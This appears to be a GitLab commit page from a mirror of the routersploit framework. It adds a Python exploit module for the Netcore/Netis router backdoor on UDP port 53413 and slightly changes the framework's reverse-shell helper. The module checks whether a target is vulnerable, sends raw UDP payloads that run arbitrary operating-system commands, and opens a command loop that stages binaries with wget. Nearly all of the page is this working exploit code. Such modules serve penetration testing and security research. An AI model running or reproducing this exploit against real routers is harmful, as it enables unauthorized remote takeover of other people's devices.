Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
89e75611
Commit
89e75611
authored
May 23, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Adding Netcore/Netis UDP 53413 RCE exploit.
parent
c4c96e0e
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
78 additions
and
1 deletions
+78
-1
__init__.py
routersploit/modules/exploits/netcore/__init__.py
+0
-0
udp_53413_rce.py
routersploit/modules/exploits/netcore/udp_53413_rce.py
+77
-0
shell.py
routersploit/shell.py
+1
-1
No files found.
routersploit/modules/exploits/netcore/__init__.py
0 → 100644
View file @
89e75611
routersploit/modules/exploits/netcore/udp_53413_rce.py
0 → 100644
View file @
89e75611
import
socket
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
mute
,
shell
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Netcore/Netis backdoor functionality.
If the target is vulnerable it allows to execute command on operating system level.
"""
__info__
=
{
'name'
:
'Netcore/Netis UDP 53413 RCE'
,
'authors'
:
[
'Tim Yeh, Trend Micro'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'description'
:
'Exploits Netcore/Netis backdoor functionality that allows executing commands on operating system level.'
,
'references'
:
[
'https://www.seebug.org/vuldb/ssvid-9022'
,
'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/'
,
],
'devices'
:
[
'Netcore'
,
'Netis'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target IP address'
)
def
run
(
self
):
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
shell
(
self
,
architecture
=
"mipsel"
,
method
=
"wget"
,
binary
=
"wget"
,
location
=
"/var"
)
else
:
print_error
(
"Target is not vulnerable"
)
def
execute
(
self
,
cmd
):
payload
=
"AA
\x00\x00
AAAA"
+
cmd
+
"
\x00
"
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
sock
.
settimeout
(
10.0
)
try
:
sock
.
sendto
(
payload
,
(
self
.
target
,
53413
))
response
=
sock
.
recv
(
1024
)
return
response
[
8
:]
except
socket
.
timeout
:
pass
return
""
def
check
(
self
):
response
=
""
payload
=
"
\x00
"
*
8
sock
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_DGRAM
)
sock
.
settimeout
(
10.0
)
try
:
sock
.
sendto
(
payload
,
(
self
.
target
,
53413
))
response
=
sock
.
recv
(
1024
)
except
socket
.
timeout
:
pass
if
response
.
endswith
(
"
\xD0\xA5
Login:"
):
return
True
# target is vulnerable
elif
response
.
endswith
(
"
\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00\x00
"
):
return
True
# target is vulnerable
return
False
# target is not vulnerable
routersploit/shell.py
View file @
89e75611
...
@@ -161,7 +161,7 @@ class reverse_shell(object):
...
@@ -161,7 +161,7 @@ class reverse_shell(object):
def
execute_binary
(
self
,
location
,
binary_name
):
def
execute_binary
(
self
,
location
,
binary_name
):
path
=
"{}/{}"
.
format
(
location
,
binary_name
)
path
=
"{}/{}"
.
format
(
location
,
binary_name
)
cmd
=
"chmod +x {}; {}
&
rm {}"
.
format
(
path
,
cmd
=
"chmod +x {}; {}
;
rm {}"
.
format
(
path
,
path
,
path
,
path
)
path
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment